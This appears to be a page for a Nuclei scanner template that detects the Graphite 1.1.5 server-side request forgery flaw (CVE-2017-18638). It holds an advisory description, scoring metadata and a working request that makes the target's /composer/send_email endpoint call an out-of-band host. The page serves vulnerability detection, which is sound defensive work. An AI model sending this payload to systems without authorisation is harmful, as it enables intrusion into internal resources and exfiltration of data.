Skip to content

Graphite <=1.1.5 - Server-Side Request Forgery

ID: CVE-2017-18638

Severity: high

Author: huowuzhao

Tags: cve,cve2017,graphite,ssrf,oast,graphite_project

Graphite’s send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to server-side request forgery (SSR)F. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information.

id: CVE-2017-18638
info:
name: Graphite <=1.1.5 - Server-Side Request Forgery
author: huowuzhao
severity: high
description: |
Graphite's send_email in graphite-web/webapp/graphite/composer/views.py in versions up to 1.1.5 is vulnerable to server-side request forgery (SSR)F. The vulnerable SSRF endpoint can be used by an attacker to have the Graphite web server request any resource. The response to this SSRF request is encoded into an image file and then sent to an email address that can be supplied by the attacker. Thus, an attacker can exfiltrate any information.
impact: |
An attacker can exploit this vulnerability to access internal resources, potentially leading to unauthorized access, data leakage, or further attacks.
remediation: |
Upgrade to a patched version of Graphite (>=1.1.6) or apply the necessary security patches.
reference:
- http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
- https://github.com/graphite-project/graphite-web/issues/2008
- https://github.com/advisories/GHSA-vfj6-275q-4pvm
- https://nvd.nist.gov/vuln/detail/CVE-2017-18638
- https://github.com/graphite-project/graphite-web/pull/2499
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2017-18638
cwe-id: CWE-918
epss-score: 0.00827
epss-percentile: 0.81931
cpe: cpe:2.3:a:graphite_project:graphite:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: graphite_project
product: graphite
tags: cve,cve2017,graphite,ssrf,oast,graphite_project
http:
- method: GET
path:
- '{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}'
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
# digest: 490a00463044022011c180217b9536b09ea7a4bda3c3cef691f4991cc7745e24bcbc145f2c48a4d402203e199d607e0e9c2f662f93b871b45d427c108cf90f0e1e757cdd14853660d674:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18638.yaml"

View on Github